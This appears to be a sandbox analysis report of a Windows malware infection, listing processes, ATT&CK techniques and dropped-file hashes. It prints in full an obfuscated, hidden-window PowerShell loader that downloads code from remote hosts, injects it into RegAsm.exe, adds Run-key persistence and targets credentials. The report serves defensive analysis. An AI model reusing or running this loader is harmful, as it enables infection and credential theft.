        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4192,i,15056728577223557372,10741477412950995083,2097152 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4232 /prefetch:2
        7⤵
        
        PID:2316
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5356,i,15111909639064564589,1362306245021760910,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4060 /prefetch:8
        7⤵
        
        PID:6372
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5480,i,10554820336334061105,3181975812471468976,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:8
        7⤵
        
        PID:6380
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5460,i,5801417785489739008,11602783665982022313,524288 --field-trial-handle=2332,i,5153498865219856412,12547066172091191090,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:8
        7⤵
        
        PID:6388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$ddsdfgo = ''DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA=='';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, ''f#'', ''r'')));iex $oWfdfjfdsuxd\"'"; Copy-Item -Path 'C:\ProgramData\khcrdab.bat' -Destination 'C:\ProgramData\khcrdab.bat' -Force -ErrorAction SilentlyContinue"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdfgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYgBpAHQAcgBhAHIAeQAtAGMAaABvAGMAbwBsAGEAdABlAC0AdABpAGcAbABvAG4ALgBtAHkAZgBpAGwAZQBiAGEAcwBlAC4AYwBvAG0ALwBpAHAAZgBzAC8AUQBtAE4AYQBYAEYAUQBaAHcASwA0AFgAQQAzAFAAOQA0AEEAOAB1AGcANQBnAHQAZQA5ADcAQgBRAHIAOABVAHUAQQA4ADcASgBlAEQAQQBQAEsAVgBDAGQASwAnACkALAAoACcAaAB0AHQAcABzADoALwAvAHAAYQBzAHQAZQAuAHMAZQBuAHMAaQBvAC4AbgBvAC8AVAByAGkAcABsAGUAdABzAE0AZQBjAGgAYQBuAGkAYwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABFAE4ARAA+AD4AJwApAHsADQAKACAAIAAkAGcAZwAgAD0AIAAnAHQAeAB0AC4AaQBhAGgAZQBnAEYAUwAvADIAMAAvADQAMgAuADYAOAAuADMAOAAuADMAMAAxAC8ALwA6AGcAcwBmAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnACAAPQAgACQAZwBnAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAwACwAIAAkAGcAZwAuAEwAZQBuAGcAdABoACAALQAgADgAKQANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcALAAgACcAMQAnACwAIAAnAGsAaABjAHIAZABhAGIAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$oWfdfjfdsuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string([regex]::Replace($ddsdfgo, 'f#', 'r')));iex $oWfdfjfdsuxd"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:636
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cktcvh2f\cktcvh2f.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCDCB.tmp" "c:\Users\Admin\AppData\Local\Temp\cktcvh2f\CSC43A390AB48F84072A629EEE2F93F6433.TMP"
      4⤵
      PID:472
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5172

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 2ffd2a7bf78952889c52ff2f0fc490ab6e7570fdbd8afe9790e35eda95cde040
MD5 28e889977e91e2b78ffdd7e8f901cbab
SHA1 43ed7b20512d21ee646344144f9d5513e1ac8d8a
SHA512 acbcd1f0935f3509d54f1475c0f30ccafa4080b239a2f0618e6776623abd69087c178c15ceaf1802bc10fcf8362f402b58ffe0d45ed00440b5e8357e33456042
SSDEEP 1536:zC+jH04tAHk1/rMrxyNhftflJdvYoFi3j39MVvjMlUst+hOOwUp7bNvv+Epa5bVl:zC+jH04tAHk1jMrxyNhftflJdvYoFi3l
TLSH
T188335093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d00794de74d4abcbb9396455d90e42d2c29e37d57ce4229611e5a3c579a49ba8
MD5 63e4c7b0fc3d3caff10dcd36c9e6e872
SHA1 4400f8377961dab97cdd5fde5bbe7599c0ef4c86
SHA512 6cda72dcd04f9ab0161692d804135a37ccd48beca67fb316c1c3121431e06befc86ed69169a12bb67e6b81822d02cb0d9ec5cbf5fc810fa4f288c3775c0890ea
TLSH
T12A216723F39CC562CC8A113A549E9C0076B687D7409ECE9FAFC4D608E17F998CB71590
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5c6edd90f4be76f44918f8be5f3d14dd2447f41b8cd4d364ac807a18127305f8
MD5 7dd1102dc19c54e49e8f42ad5a559ad3
SHA1 9922c026482b1acaf3e0d2c9e1688b8957fa3701
SHA512 6937a6fedf8d1130ac4e04867dd37f7598efe5f7520b107cd57494623faab75cd3f5ccfd377fa5a4f2a8385b58c43a12ed222bdbc4b661b04043ffee4353d161
TLSH
T12E11B633B38C8A21CC96163A408D9C2172B683C7819EDFAF7BC0D205A0BF488CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Crashpad\settings.dat
Size 280B
SHA256 db839cdcf42d73da5a103cc41066344b766f58224c582f9ba4f47eda122f537a
MD5 e1e1422d5090d1adc2029fe9ca1d1afa
SHA1 919198247803630ecb8f98774c591b968f935f7f
SHA512 2aae13265a94dcc569eafcfbe4ea76212fce6a4a652a6d1e08416fcfddec3061cd257cc350b36cd1162bf9383d86514ce0de0871b6b3ceb3b7f5eb0710136cc3
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Crashpad\settings.dat
Size 280B
SHA256 76a0b4b7ffecd2ee5f4b24f587e7ae147023015726d55202a6bfe9a526f5c76e
MD5 d44d32de405e00f9841d514df87f0c78
SHA1 9ce187300905c6bc571a2a55ee726a4b50bfee6d
SHA512 2f3421d233a3bafca7ad434e5630fc95c1ccb6004655fb59ab9342f5a4fb952207ae39a4795ec5dee4fea31b03a29e531cbea8e640a340eebf9135c474c81544
TLSH
T183D0223023C0C082CBAEA0300C32EF3032C2B003C8800F0C003A0B028EA30B020EE280
MD5 SHA1 SHA512 TLSH

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Code Cache\js\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 279B
SHA256 dce25d996b983ce79aadbe9d95c9c48f29776f51a239979385c633f6eb1c76c3
MD5 c3d114df6af81e1fe189a5e9e6d0a573
SHA1 fa7f828c75bb816f3e1852f9735a0f22115eb646
SHA512 3f5d6eeea53d835a11cf71203f0285e8d25f1ee0c4558aa99ec588ad4aac98ea5a3b154c04ca6f5d31b1ed7a05aab972acdba77bb201fe815e1ebdd5d3eb0768
TLSH
T14AD02BB61CA61430E9FF43F39472908605157E649A0CAD9E001D768330B13263852C71
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 375B
SHA256 1acad1952c6f9fca4608e9de183160a728ea326912cdf1bb413075a9ea697651
MD5 f8c5dee5ecefb98d85436bd275bcdfe8
SHA1 36d89171f8e09c3c6ec7692f87e3a0f8561af856
SHA512 52aaf1bc38d4f647729ebfb9694b75081fb30a4e37dd8d17f1526328735b00a30a95a9d3887c5a9eaf74e0e0ee9d0c4b1965f8aee5b3b112b1edbc3a0d86ee21
TLSH
T154E0D8762DF71820F9BF43E3A872909645547E1485089D8F542AB6C760F13253996C32
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe5920fb.TMP

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RFe5920fb.TMP
Size 153B
SHA256 e1e59e06a1d82a737fa1f8352fda5c47b4bee54132de367ae29ecdd3d487b076
MD5 f10a9a4bb86679a1b5a095ed768f698d
SHA1 a97bf58c21f033124b377f0557dc25df01c032bb
SHA512 4b417b04a14958798e22f1bcdfc4eef6ee165ff78d711c766371eacda1245fb95ceb2543aa08270b09ecf4d55e7a45b4877a175b3036b0d8e0987c4ca5ee43da
TLSH
T126C08CB71CAA0820EA5B12E29032A49682226E88894CAC89502DB6C330B02223822C31
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Sync Data\Logs\sync_diagnostic.log
Size 1KB
SHA256 75e3b804ca54a115aa1a1f0ac6c085458a0249463c983934b92a2c8c0b56496b
MD5 4be8ad152c813209efbee6c942de62e2
SHA1 4a0075cc8cbc5259b65dd04f4b13f89ea3050102
SHA512 3f97241a47e2cb9679b2c012538e2b15f5c96350f004844296d034e140a08965f65fd9f5c2de1533ca27595a5d53740f51a3eadbd29a69f012880c4af4f06aad
TLSH
T12E217B4038BB22073A7D370C9267861A37417057709CE57E7FAE90650937A216DF85ED
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Default\Sync Data\Logs\sync_diagnostic.log
Size 1KB
SHA256 812de24c5af287d23760efa88f4605141e7f80de79ece4a4df371f7720dcd504
MD5 78a12ce52d6592ccd32ec6bbc4d0362f
SHA1 717499a279cb09fda7926616d5fe94b93b626e38
SHA512 c01a2a619064cc1657049eb46f303156fdda3beb6e1c572ca258dfd9378523d57c68611161600ff16d008d4ac55d550c530c284793731575cc3226a10f232962
TLSH
T119218C5079B722063A3D370C9267851A3B417067B098E57E3F6F90550937E116CF85DD
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Local State
Size 4KB
SHA256 680fb7072542386d449b0eaa19ade47a65c57a6065cbff9c35bb51835744f82a
MD5 98c4f2599a03f66df0d259ff8b365bb4
SHA1 8e85b07cbba2ffc6d5b3bb1a5f26dc2c6dd37e36
SHA512 492d88e8a2f39fe453378e0e6ab5bea8fcc1c672c9d358637a7630ac0e2abb7652e224e220364bc745fdd64c67325c855eb3a08b2c23df651dab30dad00472c1
SSDEEP 96:TqGNkBsFfrW4Y1HlD0BCPguvmqCe0O0eUnjduQrq4a:2GNuuat4Eiebqxjk
TLSH
T18681A6B26435EC234ED66A44B48627A35F7831B3DC91AF48E2D8531804DB74D3B0983B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Temp\0xks4pvl.0md\Local State
Size 5KB
SHA256 076c981abe4c576d15a7c67ae6445d06f8f61d0fe536a045aa8ff001d4be87aa
